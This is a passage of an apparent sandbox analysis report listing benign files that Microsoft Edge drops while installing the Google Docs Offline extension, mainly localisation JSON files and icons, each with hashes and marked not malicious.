Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d17d4156-013f-4ee1-95c7-83fd3952be86.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 400 x 400, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1534748
Entropy (8bit):	7.992739439384189
Encrypted:	true
SSDEEP:	24576:7ojsT7GcDrj3/0tMIygbV68AFsdqgBFvsCf5kzH0emcptXf7sgIF9C0fDDqNv8Ru:7oje73/3/2MAplAFSb0CfMqkvYLF9COm
MD5:	41EC6DF12AD12159FF7FC80DE4F566F1
SHA1:	A70618155944FB78EF4AD8F4DFD808CC4F95B154
SHA-256:	BE32C3018D7DB2A7A8F2F3F787077B6E50ED038790B6A7EFF5239DE1947F493B
SHA-512:	2881C0C9905D1998E0FA89BC4093ABBA0DF50B899F62660405B2A3EE37C10706F53C76F25BD476DBD84266187FF6467B646DF06E7E595BA9EDA3D2A1474B5299
Malicious:	false
Preview:	.PNG........IHDR...................>iCCPICC Profile..H..W.XS...[.... .... "%...Z..E........vtQ......U.......(..XPP..]y....+.\|3..3.9s..2..O.$..T..\q.46$.9&9.I..(...P@...$......@.....@..UG..?..k...... .............K......\|....t.0@...q..W.q...Q...r n.@...I3...yf.?.jh.B.,.........N.@...-..@,.g.....7.AM./c.+.(j..<I.o.....]rsd.>.a.fJCc.k.y..=)\......". ...H.....d.B.....?..s.. v....!6.8X.......E.\...A......C.P......(.....K9l...'U...z .N`.._g..}L.03>.b.....H.5 v...W...D..He...-!...C...XA.48Ve_..7.^lc.......3.C...Z.<E.p-.e...0.#...1...00H.v.K(N.S.\|.......IN...7...ys.]...Ts..\|.!..x.$?:^.'^....V./........`M..@....4....`..R....Q...HR..a.......A......@.. .l.A.b.@1#.<.8....._..%.....@F...<X.0..X.....`.3l.D...G&}...D.$....v.!.{.......g....nOxJh'<"\'t.nO..I..r4....\......j.....T...n..qW..A.n...g.....V...P...(y..l..L.{..A.y...2..\|s.G~...!....l.-..cg...y......q..k.....z..]..b..dC..?..\Yy&.k....(..S..h..$.&.ed.3... dr.\|.aL.g.W.......M...~...................

C:\Users\user\AppData\Local\Temp\dc972bc4-0c59-4cce-8e52-d6aabffe9e3e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
